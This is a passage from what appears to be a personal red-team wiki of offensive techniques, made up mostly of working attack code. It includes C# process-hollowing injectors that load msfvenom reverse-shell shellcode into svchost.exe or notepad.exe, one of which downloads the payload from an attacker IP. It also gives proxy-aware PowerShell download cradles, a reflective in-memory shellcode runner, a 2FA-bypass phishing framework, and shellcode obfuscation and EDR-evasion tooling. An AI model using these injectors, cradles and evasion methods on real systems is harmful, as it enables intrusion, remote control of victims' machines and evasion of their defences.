            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
